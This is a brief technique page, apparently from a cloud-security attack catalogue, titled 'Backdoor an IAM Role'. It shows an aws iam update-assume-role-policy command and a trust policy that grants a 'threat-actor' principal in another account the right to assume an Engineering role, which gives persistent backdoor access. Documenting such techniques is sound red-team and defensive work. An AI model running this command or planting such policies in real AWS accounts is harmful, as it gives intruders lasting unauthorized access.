Backdoor an IAM Role
AWS persistence technique
Overview
aws iam update-assume-role-policy --role-name Engineering --policy-document file://attacker-trust-policy.json{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::111111111111:user/legitimate-user",
"arn:aws:iam::222222222222:user/threat-actor"
]
},
"Action": "sts:AssumeRole"
}
]
}Last updated